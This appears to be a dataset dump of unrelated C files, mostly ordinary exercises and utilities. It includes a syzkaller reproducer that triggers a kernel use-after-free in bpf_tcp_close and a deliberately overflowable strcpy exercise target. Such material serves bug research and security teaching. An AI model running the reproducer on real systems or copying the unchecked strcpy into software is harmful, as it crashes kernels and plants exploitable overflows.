file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/18887217.c
|
// KASAN: use-after-free Write in bpf_tcp_close
// https://syzkaller.appspot.com/bug?id=6a6fd266a962be281b17c864a073675150e36ca5
// status:fixed
// autogenerated by syzkaller (http://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <signal.h>
#include <stdarg.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
__attribute__((noreturn)) static void doexit(int status)
{
volatile unsigned i;
syscall(__NR_exit_group, status);
for (i = 0;; i++) {
}
}
#include <errno.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
const int kFailStatus = 67;
const int kRetryStatus = 69;
static void fail(const char* msg, ...)
{
int e = errno;
va_list args;
va_start(args, msg);
vfprintf(stderr, msg, args);
va_end(args);
fprintf(stderr, " (errno %d)\n", e);
doexit((e == ENOMEM || e == EAGAIN) ? kRetryStatus : kFailStatus);
}
static uint64_t current_time_ms()
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
fail("clock_gettime failed");
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void execute_one();
extern unsigned long long procid;
static void loop()
{
int iter;
for (iter = 0;; iter++) {
int pid = fork();
if (pid < 0)
fail("clone failed");
if (pid == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
execute_one();
doexit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
int res = waitpid(-1, &status, __WALL | WNOHANG);
if (res == pid) {
break;
}
usleep(1000);
if (current_time_ms() - start < 3 * 1000)
continue;
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
while (waitpid(-1, &status, __WALL) != pid) {
}
break;
}
}
}
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
unsigned long long procid;
void execute_one()
{
long res = 0;
syscall(__NR_socketpair, 0, 0, 0, 0x20000140);
syscall(__NR_socket, 0xa, 1, 0);
*(uint32_t*)0x20000280 = 0xf;
*(uint32_t*)0x20000284 = 4;
*(uint32_t*)0x20000288 = 4;
*(uint32_t*)0x2000028c = 0x70;
*(uint32_t*)0x20000290 = 0;
*(uint32_t*)0x20000294 = -1;
*(uint32_t*)0x20000298 = 0;
*(uint8_t*)0x2000029c = 0;
*(uint8_t*)0x2000029d = 0;
*(uint8_t*)0x2000029e = 0;
*(uint8_t*)0x2000029f = 0;
*(uint8_t*)0x200002a0 = 0;
*(uint8_t*)0x200002a1 = 0;
*(uint8_t*)0x200002a2 = 0;
*(uint8_t*)0x200002a3 = 0;
*(uint8_t*)0x200002a4 = 0;
*(uint8_t*)0x200002a5 = 0;
*(uint8_t*)0x200002a6 = 0;
*(uint8_t*)0x200002a7 = 0;
*(uint8_t*)0x200002a8 = 0;
*(uint8_t*)0x200002a9 = 0;
*(uint8_t*)0x200002aa = 0;
*(uint8_t*)0x200002ab = 0;
res = syscall(__NR_bpf, 0, 0x20000280, 0x2c);
if (res != -1)
r[0] = res;
*(uint32_t*)0x20000180 = r[0];
*(uint64_t*)0x20000188 = 0x20000000;
*(uint64_t*)0x20000190 = 0x20000140;
*(uint64_t*)0x20000198 = 0;
syscall(__NR_bpf, 2, 0x20000180, 0x20);
*(uint32_t*)0x20000280 = 0xf;
*(uint32_t*)0x20000284 = 4;
*(uint32_t*)0x20000288 = 4;
*(uint32_t*)0x2000028c = 0x70;
*(uint32_t*)0x20000290 = 0;
*(uint32_t*)0x20000294 = -1;
*(uint32_t*)0x20000298 = 0;
*(uint8_t*)0x2000029c = 0;
*(uint8_t*)0x2000029d = 0;
*(uint8_t*)0x2000029e = 0;
*(uint8_t*)0x2000029f = 0;
*(uint8_t*)0x200002a0 = 0;
*(uint8_t*)0x200002a1 = 0;
*(uint8_t*)0x200002a2 = 0;
*(uint8_t*)0x200002a3 = 0;
*(uint8_t*)0x200002a4 = 0;
*(uint8_t*)0x200002a5 = 0;
*(uint8_t*)0x200002a6 = 0;
*(uint8_t*)0x200002a7 = 0;
*(uint8_t*)0x200002a8 = 0;
*(uint8_t*)0x200002a9 = 0;
*(uint8_t*)0x200002aa = 0;
*(uint8_t*)0x200002ab = 0;
res = syscall(__NR_bpf, 0, 0x20000280, 0x2c);
if (res != -1)
r[1] = res;
*(uint32_t*)0x20000180 = r[1];
*(uint64_t*)0x20000188 = 0x20000000;
*(uint64_t*)0x20000190 = 0x20000140;
*(uint64_t*)0x20000198 = 0;
syscall(__NR_bpf, 2, 0x20000180, 0x20);
}
int main()
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
for (procid = 0; procid < 8; procid++) {
if (fork() == 0) {
for (;;) {
loop();
}
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/54826388.c
|
/* FUNCTION: openlog */
#ifndef __CPROVER_SYSLOG_H_INCLUDED
#include <syslog.h>
#define __CPROVER_SYSLOG_H_INCLUDED
#endif
void openlog(const char *ident, int option, int facility)
{
(void)*ident;
(void)option;
(void)facility;
}
/* FUNCTION: closelog */
#ifndef __CPROVER_SYSLOG_H_INCLUDED
#include <syslog.h>
#define __CPROVER_SYSLOG_H_INCLUDED
#endif
void closelog(void)
{
}
/* FUNCTION: syslog */
#ifndef __CPROVER_SYSLOG_H_INCLUDED
#include <syslog.h>
#define __CPROVER_SYSLOG_H_INCLUDED
#endif
void syslog(int priority, const char *format, ...)
{
(void)priority;
(void)*format;
}
|
the_stack_data/139923.c
|
#include <stdio.h>
#include <curses.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
int duration = 2000;
if (argc >= 2) {
sscanf (argv[1],"%d",&duration);
}
initscr();
keypad(stdscr, TRUE);
cbreak();
noecho();
curs_set(0);
char *rofl[] = {
" :ROFL:ROFL",
" _^___",
" __/ [] \\",
"LOL===__ \\",
" \\________]",
" I I",
" --------/",
" ROFL:ROFL",
" _^___",
" L __/ [] \\",
" O ===__ \\",
" L \\________]",
" I I",
" --------/"};
int rofl_lines = 7;
int rofl_cols = 18;
int x = 0;
int y = (LINES - rofl_lines)/2;
int delay = 17;
int nsteps = duration/delay;
for (int i = 0; i < nsteps; i++) {
x = i*(COLS - rofl_cols)/nsteps;
for (int j = 0; j < rofl_lines; j++) {
mvaddstr(y + j, x, rofl[(i%2)*rofl_lines + j]);
}
refresh();
usleep(delay*1000);
clear();
}
endwin();
return 0;
}
|
the_stack_data/125141708.c
|
extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int expression) { if (!expression) { ERROR: __VERIFIER_error(); }; return; }
int __global_lock;
void __VERIFIER_atomic_begin() { __VERIFIER_assume(__global_lock==0); __global_lock=1; return; }
void __VERIFIER_atomic_end() { __VERIFIER_assume(__global_lock==1); __global_lock=0; return; }
#include <assert.h>
#include <pthread.h>
#ifndef TRUE
#define TRUE (_Bool)1
#endif
#ifndef FALSE
#define FALSE (_Bool)0
#endif
#ifndef NULL
#define NULL ((void*)0)
#endif
#ifndef FENCE
#define FENCE(x) ((void)0)
#endif
#ifndef IEEE_FLOAT_EQUAL
#define IEEE_FLOAT_EQUAL(x,y) (x==y)
#endif
#ifndef IEEE_FLOAT_NOTEQUAL
#define IEEE_FLOAT_NOTEQUAL(x,y) (x!=y)
#endif
void * P0(void *arg);
void * P1(void *arg);
void fence();
void isync();
void lwfence();
int __unbuffered_cnt;
int __unbuffered_cnt = 0;
int __unbuffered_p1_EAX;
int __unbuffered_p1_EAX = 0;
_Bool main$tmp_guard0;
_Bool main$tmp_guard1;
int x;
int x = 0;
_Bool x$flush_delayed;
int x$mem_tmp;
_Bool x$r_buff0_thd0;
_Bool x$r_buff0_thd1;
_Bool x$r_buff0_thd2;
_Bool x$r_buff1_thd0;
_Bool x$r_buff1_thd1;
_Bool x$r_buff1_thd2;
_Bool x$read_delayed;
int *x$read_delayed_var;
int x$w_buff0;
_Bool x$w_buff0_used;
int x$w_buff1;
_Bool x$w_buff1_used;
int y;
int y = 0;
_Bool weak$$choice0;
_Bool weak$$choice2;
void * P0(void *arg)
{
__VERIFIER_atomic_begin();
y = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
x = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
x = x$w_buff0_used && x$r_buff0_thd1 ? x$w_buff0 : (x$w_buff1_used && x$r_buff1_thd1 ? x$w_buff1 : x);
x$w_buff0_used = x$w_buff0_used && x$r_buff0_thd1 ? FALSE : x$w_buff0_used;
x$w_buff1_used = x$w_buff0_used && x$r_buff0_thd1 || x$w_buff1_used && x$r_buff1_thd1 ? FALSE : x$w_buff1_used;
x$r_buff0_thd1 = x$w_buff0_used && x$r_buff0_thd1 ? FALSE : x$r_buff0_thd1;
x$r_buff1_thd1 = x$w_buff0_used && x$r_buff0_thd1 || x$w_buff1_used && x$r_buff1_thd1 ? FALSE : x$r_buff1_thd1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void * P1(void *arg)
{
__VERIFIER_atomic_begin();
x$w_buff1 = x$w_buff0;
x$w_buff0 = 2;
x$w_buff1_used = x$w_buff0_used;
x$w_buff0_used = TRUE;
__VERIFIER_assert(!(x$w_buff1_used && x$w_buff0_used));
x$r_buff1_thd0 = x$r_buff0_thd0;
x$r_buff1_thd1 = x$r_buff0_thd1;
x$r_buff1_thd2 = x$r_buff0_thd2;
x$r_buff0_thd2 = TRUE;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_p1_EAX = y;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
x = x$w_buff0_used && x$r_buff0_thd2 ? x$w_buff0 : (x$w_buff1_used && x$r_buff1_thd2 ? x$w_buff1 : x);
x$w_buff0_used = x$w_buff0_used && x$r_buff0_thd2 ? FALSE : x$w_buff0_used;
x$w_buff1_used = x$w_buff0_used && x$r_buff0_thd2 || x$w_buff1_used && x$r_buff1_thd2 ? FALSE : x$w_buff1_used;
x$r_buff0_thd2 = x$w_buff0_used && x$r_buff0_thd2 ? FALSE : x$r_buff0_thd2;
x$r_buff1_thd2 = x$w_buff0_used && x$r_buff0_thd2 || x$w_buff1_used && x$r_buff1_thd2 ? FALSE : x$r_buff1_thd2;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void fence()
{
}
void isync()
{
}
void lwfence()
{
}
int main()
{
pthread_create(NULL, NULL, P0, NULL);
pthread_create(NULL, NULL, P1, NULL);
__VERIFIER_atomic_begin();
main$tmp_guard0 = __unbuffered_cnt == 2;
__VERIFIER_atomic_end();
__VERIFIER_assume(main$tmp_guard0);
__VERIFIER_atomic_begin();
x = x$w_buff0_used && x$r_buff0_thd0 ? x$w_buff0 : (x$w_buff1_used && x$r_buff1_thd0 ? x$w_buff1 : x);
x$w_buff0_used = x$w_buff0_used && x$r_buff0_thd0 ? FALSE : x$w_buff0_used;
x$w_buff1_used = x$w_buff0_used && x$r_buff0_thd0 || x$w_buff1_used && x$r_buff1_thd0 ? FALSE : x$w_buff1_used;
x$r_buff0_thd0 = x$w_buff0_used && x$r_buff0_thd0 ? FALSE : x$r_buff0_thd0;
x$r_buff1_thd0 = x$w_buff0_used && x$r_buff0_thd0 || x$w_buff1_used && x$r_buff1_thd0 ? FALSE : x$r_buff1_thd0;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
/* Program proven to be relaxed for X86, model checker says YES. */
weak$$choice0 = nondet_1();
/* Program proven to be relaxed for X86, model checker says YES. */
weak$$choice2 = nondet_1();
/* Program proven to be relaxed for X86, model checker says YES. */
x$flush_delayed = weak$$choice2;
/* Program proven to be relaxed for X86, model checker says YES. */
x$mem_tmp = x;
/* Program proven to be relaxed for X86, model checker says YES. */
x = !x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x : (x$w_buff0_used && x$r_buff0_thd0 ? x$w_buff0 : x$w_buff1);
/* Program proven to be relaxed for X86, model checker says YES. */
x$w_buff0 = weak$$choice2 ? x$w_buff0 : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$w_buff0 : (x$w_buff0_used && x$r_buff0_thd0 ? x$w_buff0 : x$w_buff0));
/* Program proven to be relaxed for X86, model checker says YES. */
x$w_buff1 = weak$$choice2 ? x$w_buff1 : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$w_buff1 : (x$w_buff0_used && x$r_buff0_thd0 ? x$w_buff1 : x$w_buff1));
/* Program proven to be relaxed for X86, model checker says YES. */
x$w_buff0_used = weak$$choice2 ? x$w_buff0_used : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$w_buff0_used : (x$w_buff0_used && x$r_buff0_thd0 ? FALSE : x$w_buff0_used));
/* Program proven to be relaxed for X86, model checker says YES. */
x$w_buff1_used = weak$$choice2 ? x$w_buff1_used : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$w_buff1_used : (x$w_buff0_used && x$r_buff0_thd0 ? FALSE : FALSE));
/* Program proven to be relaxed for X86, model checker says YES. */
x$r_buff0_thd0 = weak$$choice2 ? x$r_buff0_thd0 : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$r_buff0_thd0 : (x$w_buff0_used && x$r_buff0_thd0 ? FALSE : x$r_buff0_thd0));
/* Program proven to be relaxed for X86, model checker says YES. */
x$r_buff1_thd0 = weak$$choice2 ? x$r_buff1_thd0 : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$r_buff1_thd0 : (x$w_buff0_used && x$r_buff0_thd0 ? FALSE : FALSE));
/* Program proven to be relaxed for X86, model checker says YES. */
main$tmp_guard1 = !(x == 2 && __unbuffered_p1_EAX == 0);
/* Program proven to be relaxed for X86, model checker says YES. */
x = x$flush_delayed ? x$mem_tmp : x;
/* Program proven to be relaxed for X86, model checker says YES. */
x$flush_delayed = FALSE;
__VERIFIER_atomic_end();
/* Program proven to be relaxed for X86, model checker says YES. */
__VERIFIER_assert(main$tmp_guard1);
return 0;
}
|
the_stack_data/215769027.c
|
#include <stdio.h>
int main() {
// call a function in another file
myPrintHelloMake();
return(0);
}
|
the_stack_data/58558.c
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdarg.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <string.h>
void syserr(const char *fmt, ...) {
va_list fmt_args;
fprintf(stderr, "ERROR: ");
va_start(fmt_args, fmt);
vfprintf(stderr, fmt, fmt_args);
va_end (fmt_args);
fprintf(stderr," (%d; %s)\n", errno, strerror(errno));
exit(1);
}
char message[] = "Hello from your parent!\n";
int main (int argc, char *argv[]) {
int pipe_dsc[2];
char pipe_read_dsc_str[100];
if (pipe(pipe_dsc) == -1)
syserr("Error in pipe\n");
for (int i = 1; i < argc; i++) {
switch (fork ()) {
case -1:
syserr("Error in fork\n");
case 0:
if (close (0) == -1) syserr("Error in child, close (0)\n");
if (dup (pipe_dsc [0]) != 0) syserr("Error in child, dup (pipe_dsc [0])\n");
if (close (pipe_dsc [0]) == -1) syserr("Error in child, close (pipe_dsc [0])\n");
if (close (pipe_dsc [1]) == -1) syserr("Error in child, close (pipe_dsc [1])\n");
sprintf(pipe_read_dsc_str, "%d", pipe_dsc[0]);
char** x = argv + i;
x++;
*x = pipe_read_dsc_str;
x++;
*x = 0;
execvp(argv[i], x);
syserr("Error in execvp\n");
default:
if (close (pipe_dsc [0]) == -1)
syserr("Error in parent, close (pipe_dsc [0])\n");
if (write (pipe_dsc [1], message, sizeof(message) - 1) != sizeof(message) - 1)
syserr("Error in write\n");
if (close (pipe_dsc [1]) == -1)
syserr("Error in parent, close (pipe_dsc [1])\n");
if (wait (0) == -1)
syserr("Error in wait\n");
exit (0);
}
}
}
|
the_stack_data/29826282.c
|
#include <stdio.h>
/* a RECURSIVE function that returns the square of a positive integer number num,
by computing the sum of odd integers starting with 1
For example, if num = 4, then 4^2 = 1 + 3 + 5 + 7 = 16 is returned */
int rSquare1(int num);
void rSquare2(int num, int *result);
int main()
{
int number, result=0;
printf("Enter the number: \n");
scanf("%d", &number);
printf("rSquare1(): %d\n", rSquare1(number));
rSquare2(number, &result);
printf("rSquare2(): %d\n", result);
return 0;
}
int rSquare1(int num)
{
/* Write your program code here */
if (num == 0){
return 0;
} else {
return ((2 * num) - 1) + rSquare1(num-1);
}
}
void rSquare2(int num, int *result)
{
/* Write your program code here */
if (num > 0){
*result += (num * 2) - 1;
rSquare2(num-1, result);
}
}
|
the_stack_data/76700064.c
|
// Reverses a sereis of numbers (pointer version)
#include <stdio.h>
#define N 10
main()
{
int a[N], * p;
printf("Enter %d numbers: ", N);
/*
for(p = &a[0]; p < &p[N]; p++)
*/
for ( p = a; p < a + N; p++)
{
scanf_s("%d", p);
}
printf("In reverse order: ");
/*
for(p = &a[N-1]; p >= &a[0]; p--)
*/
for (p = a + N - 1; p >= a; p--)
{
printf(" %d", *p);
}
printf("\n");
}
|
the_stack_data/1240659.c
|
#include <stdio.h>
#include <stdbool.h>
int count = 1;
void printBoard(int board[][10], int n)
{
printf("Solution %d:\n", count++);
for(int row = 0; row < n; row++)
{
for(int col = 0; col < n; col++)
{
if(board[row][col] == 1)
printf("\tQ");
else
printf("\t-");
}
printf("\n");
}
}
bool isSafe(int board[][10], int row, int col, int n)
{
//column checking
for(int i = 0; i < row; i++)
{
if(board[i][col] == 1)
return false;
}
// diagonal checking
//left diagonal checking
int diag_x = row; //diagonal x coordinate
int diag_y = col; //diagonal y coordinate
while(diag_x >= 0 && diag_y >= 0)
{
if(board[diag_x][diag_y] == 1)
return false;
diag_x--;
diag_y--;
}
// right diagonal checking
diag_x = row; //diagonal x coordinate
diag_y = col; //diagonal y coordinate
while(diag_x >= 0 && diag_y < n)
{
if(board[diag_x][diag_y] == 1)
return false;
diag_x--;
diag_y++;
}
return true; // position safe!
}
bool solveNQueens(int board[][10], int row, int n)
{
//base case
// succesfully placed all queens in n rows (0,....,n-1)
if (row == n)
{
// IMPORTANT: Dead code for printing the board! Only reason the dead code is kept is
// IMPORTANT: cause it took me like a day to figure this trick and I am to happy that i figured it out
// IMPORTANT: and am low-key I am scared that if i delete this commented out code it would break the
// IMPORTANT: program even though it makes no sence. Please deal with it..
// IMPORTANT: Thank You.
/*
//print the board
for(int x = 0; x < n; x++)
{
for(int y = 0; y < n; y++)
{
if(board[x][y] == 1)
printf("\tQ");
else
printf("\t-");
}
printf("\n");
}
// comment this for only one solution
return true;
// uncomment this line for all possible solutions the recursive case will be
// called and keep on finding the possible solutions untill false is returned
printf("\n\n");
*/
printBoard(board, n);
}
//recursive case
for(int j = 0; j < n; j++)
{
//check if i,j position is safe for queen placement
if(isSafe(board, row, j, n))
{
//ASSUMPTION: i,j is a correct position
// subject to backtracking
board[row][j] = 1;
bool isNextQueenPossible = solveNQueens(board, row + 1, n);
if(isNextQueenPossible)
return true;
//if i,j is not the correct position
// so backtrack
board[row][j] = 0;
}
}
//if queen was not placed even after trying all positions
return false;
}
int main()
{
int n;
scanf("%d", &n);
int board[10][10] = {0};
solveNQueens(board, 0, 8);
}
|
the_stack_data/151361.c
|
#include <stdio.h>
#include <stdlib.h>
struct node
{
int value;
struct node* next;
};
struct cll // cll = circular linked list
{
struct node* end;
struct node* start;
};
struct cll* create_cll()
{
struct cll* cll = malloc( sizeof(struct cll) );
cll->start = NULL;
cll->end = NULL;
return cll;
}
struct node* create_node(int value)
{
struct node* new_node = malloc( sizeof(struct node) );
new_node->next = NULL;
new_node->value = value;
return new_node;
}
void insert_beginning(int value, struct cll* cll)
{
if(cll->end == NULL) // if list in empty
{
struct node* new_node = create_node(value);
new_node->next = new_node; // Points to itself
cll->start = new_node;
cll->end = new_node;
}
else
{
struct node* new_node = create_node(value);
new_node->next = cll->start; // New first node points to old first node
cll->end->next = new_node; // last node points to new start
cll->start = new_node; // start points to new start node
}
}
void insert_end(int value, struct cll* cll)
{
if(cll->end == NULL) // if list in empty
{
struct node* new_node = create_node(value);
new_node->next = new_node; // Points to itself
cll->start = new_node;
cll->end = new_node;
}
else
{
struct node* new_node = create_node(value);
new_node->next = cll->start; // new last node points to first node
cll->end->next = new_node; // old last node points to new last node
cll->end = new_node; // end points to new last node
}
}
struct node* search(int searched_value, struct node* current_node, struct cll* cll)
{
if(current_node != NULL)
{
do
{
if(current_node->value == searched_value)
{
return current_node;
}
else
{
current_node = current_node->next;
}
}while(current_node != cll->start);
}
return NULL;
}
void remove_node(int value, struct cll* cll)
{
struct node* searched_node = search(value, cll->start, cll);
if(searched_node != NULL)
{
if(searched_node != cll->end)
{
struct node* front_node = searched_node->next;
searched_node->value = front_node->value;
searched_node->next = front_node->next;
if(front_node == cll->end)
{
cll->end = searched_node;
}
free(front_node);
}
else // special case: removing the end node
{
struct node* back_node = cll->start; // start with first node
while(back_node->next != cll->end) // back_node get out of the while being the real back node
{
back_node = back_node->next;
}
cll->end = back_node; // back_node is the new end
back_node->next = cll->start; // new end points to start
free(searched_node);
}
}
}
void print(struct node* start, struct node* end)
{
if(start != NULL && start != end)
{
printf("%i ", start->value);
print(start->next, end);
}
else if(start != NULL && start == end)
{
printf("%i ", start->value);
}
}
void print_reverse(struct node* start, struct node* end)
{
if(start != NULL && start != end)
{
print_reverse(start->next, end);
printf("%i ", start->value);
}
else if(start != NULL && start == end)
{
printf("%i ", start->value);
}
}
int main()
{
struct cll* cll = create_cll(); // cll: empty
insert_end(2, cll); // cll: 2
insert_beginning(1, cll); // cll: 1 2
insert_end(3, cll); // cll: 1 2 3
insert_end(4, cll); // cll: 1 2 3 4
insert_end(5, cll); // cll: 1 2 3 4 5
insert_beginning(0, cll); // cll: 0 1 2 3 4 5
print_reverse(cll->start, cll->end); // output expected: 5 4 3 2 1 0
printf("\n\n");
remove_node(3, cll); // cll: 0 1 2 4 5
remove_node(3, cll); // cll: 0 1 2 4 5
remove_node(0, cll); // cll: 1 2 4 5
remove_node(5, cll); // cll: 1 2 4
remove_node(2, cll); // cll: 1 4
print(cll->start, cll->end); // output expected: 1 4
return 0;
}
|
the_stack_data/176427.c
|
#include <stddef.h> /* size_t */
/**
* jump_search - searches for a value in a sorted array of integers
* using the Jump search algorithmi
* @array: ?
* @size: ?
* @value: ?
* Return: ?
*/
int jump_search(int *array, size_t size, int value)
{
(void) array;
(void) size;
(void) value;
return (0);
}
|
the_stack_data/125140480.c
|
#include <stdlib.h>
int main(int argc, char *argv[])
{
int j, imax, jmax;
// first allocate a column of pointers of type pointer to double
double **x = (double **)malloc(jmax * sizeof(double *));
// now allocate each row of data
for (j=0; j<jmax; j++){
x[j] = (double *)malloc(imax * sizeof(double));
}
// computation
for (j=0; j<jmax; j++){
free(x[j]);
}
free(x);
}
|
the_stack_data/187642133.c
|
#include <stdio.h>
#include <stdlib.h>
void floyds(int **distanceMatrix, int numVertices)
{
int i, j, k;
for (k = 0; k < numVertices; k++)
for (i = 0; i < numVertices; i++)
for (j = 0; j < numVertices; j++)
if (i == j)
distanceMatrix[i][j] = 0;
else
(distanceMatrix[i][j] < distanceMatrix[i][k] + distanceMatrix[k][j]) ? (distanceMatrix[i][j] = distanceMatrix[i][j]) : (distanceMatrix[i][j] = distanceMatrix[i][k] + distanceMatrix[k][j]);
}
void main()
{
int weight, numVertices, numEdges, i, j;
printf("\nEnter the number of vertices:");
scanf("%d", &numVertices);
int **distanceMatrix = (int **)malloc(numVertices * sizeof(int *));
printf("\nEnter the number of edges:\n");
scanf("%d", &numEdges);
for (i = 0; i < numVertices; i++)
{
distanceMatrix[i] = (int *)malloc(numVertices * sizeof(int));
for (j = 0; j < numVertices; j++)
{
distanceMatrix[i][j] = 999;
}
}
for (i = 0; i < numEdges; i++)
{
int row, col;
printf("\nEnter the end vertices of edge%d with its weight \n", i);
scanf("%d%d%d", &row, &col, &weight);
distanceMatrix[row][col] = weight;
}
printf("\nMatrix of input data:\n");
for (i = 0; i < numVertices; i++)
{
for (j = 0; j < numVertices; j++)
printf("%d \t", distanceMatrix[i][j]);
printf("\n");
}
floyds(distanceMatrix, numVertices);
printf("\nTransitive closure:\n");
for (i = 0; i < numVertices; i++)
{
for (j = 0; j < numVertices; j++)
printf("%d \t", distanceMatrix[i][j]);
printf("\n");
}
printf("\nThe shortest paths are:");
for (int row = 0; row < numVertices; row++)
for (int col = 0; col < numVertices; col++)
if (row != col)
printf("\n d(%d,%d) = %d", row, col, distanceMatrix[row][col]);
}
|
the_stack_data/47414.c
|
/*
Чтение и вывод символа
Ref:
C Kerigan Richi 2001.pdf
1.5. Ввод-вывод символов
*/
#include <stdio.h>
main ()
{
char c = getchar();
putchar(c);
}
|
the_stack_data/60352.c
|
#include <stdio.h>
int main() {
printf("\\ /\\\n ) ( ')\n( / )\n \\(__)|");
return 0;
}
|
the_stack_data/211081142.c
|
// Identical to target2, but compiled with DEP enabled.
#include <stdio.h>
#include <string.h>
void vulnerable(char *arg)
{
char buf[100];
strcpy(buf, arg);
}
int _main(int argc, char **argv)
{
if (argc != 2) {
fprintf(stderr, "Error: need a command-line argument\n");
return 1;
}
vulnerable(argv[1]);
return 0;
}
|
the_stack_data/145452942.c
|
// code: 0
int main() { return 0 / 1; }
|
the_stack_data/122014616.c
|
/*
Metni Tersten Yazdırma Programı
// Özyinelemeli Fonksiyon (Recursive Function)
*/
#include <stdio.h>
#include <locale.h>
int ters()
{
char metin;
scanf("%c", &metin);
if (metin != '\n')
{
ters();
printf("%c", metin);
}
}
int main()
{
setlocale(LC_ALL, "Turkish");
printf("Lütfen Metninizi Giriniz: \n");
ters();
return 0;
}
/*
int ters() fonksiyonu kullanıcı tarafından girilen ilk harfi metin değişkeninde saklar.
Değişken '\ n' dışında bir karakterse, ters () işlevi yeniden çağrılır.
ters () ikinci kez çağrıldığında, kullanıcı tarafından girilen ikinci harf tekrar metin 'e kaydedilir.
Ancak, ikinci fonksiyondaki metin değişkeni birincisiyle aynı değildir. Her ikisi de bellekte farklı yer tutarlar.
'\ n' girdiğinde, en son işlevi ters () işlevi en son karakteri basar printf("%c", metin) nedeniyle
ve ikinci ters () işlevine geri döner.
Yine, ikinci son ters () işlevi, ikinci son karakteri basar ve
üçüncü son ters () işlevine geri döner.
Bu süreç devam ediyor ve son çıktı ters metin olacak.
KAYNAK: https://www.programiz.com/c-programming/examples/reverse-sentence-recursion
*/
|
the_stack_data/154831386.c
|
#include<stdio.h>
#include<math.h>
int main()
{
int t;
scanf("%d",&t);
int n;
scanf("%d",&n);
int arr[n];
arr[0]=1;
arr[1]=1;
arr[2]=2;
int i=0;
for(i=3;i<n;i++){
arr[i]=arr[i-1]+arr[i-3];
}
printf("%d\n",arr[n-1]);
return 0;
}
|
the_stack_data/508701.c
|
/*Problem 2: Each new term in the Fibonacci sequence is generated by
adding the previous two terms. By starting with 1 and 2, the first 10
terms will be:
1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ...
By considering the terms in the Fibonacci sequence whose values do not
exceed four million, find the sum of the even-valued terms.*/
#include<stdio.h>
int main(){
int i;
int num, numA, numB, sum;
numA = 1;
numB = 0;
i = 0;
sum = 0;
while( num < 4000000 ){
if(numA % 2 == 0){
printf("NUM: %d\n", numA);
sum += numA;
}
num = numA + numB;
numB = numA;
numA = num;
i++;
}
printf("SUM: %d\n", sum);
return 0;
}
|
the_stack_data/1211999.c
|
/***********************************************************************
* サウンド出力処理 (システム依存)
*
* 詳細は、 snddrv.h / mame-quasi88.h 参照
************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef USE_SOUND
#include "mame-quasi88.h"
#define SNDDRV_WORK_DEFINE
#include "audio.h"
#include "sysdep_mixer.h" /* sysdep_mixer_init() */
/*----------------------------------------------------------------------*/
/* rc_struct 構造体により、オプションを制御する */
static struct rc_struct *rc;
extern struct rc_option sound_opts[];
/*===========================================================================*/
/* QUASI88 から呼び出される、MAME の処理関数 */
/*===========================================================================*/
/******************************************************************************
* サウンド系オプション処理の初期化/終了関数
*
* int xmame_config_init(void)
* config_init() より、オプションの解析を開始する前に呼び出される。
* MAME依存ワークの初期化などが必要な場合は、ここで行う。
*
* void xmame_config_exit(void)
* config_exit() より、処理の最後に呼び出される。
* xmame_config_init() の処理の後片付けが必要なら、ここで行う。
*
*****************************************************************************/
/* config_init() [src/unix/config.c] */
int xmame_config_init(void)
{
/* create the rc object */
if (!(rc = rc_create()))
return OSD_NOT_OK;
if(sysdep_dsp_init(rc, NULL))
return OSD_NOT_OK;
if(sysdep_mixer_init(rc, NULL))
return OSD_NOT_OK;
if(rc_register(rc, sound_opts))
return OSD_NOT_OK;
return OSD_OK;
}
/* config_exit() [src/unix/config.c] */
void xmame_config_exit(void)
{
if(rc)
{
sysdep_mixer_exit();
sysdep_dsp_exit();
rc_destroy(rc);
}
}
/******************************************************************************
* サウンド系オプションのオプションテーブル取得
*
* const T_CONFIG_TABLE *xmame_config_get_opt_tbl(void)
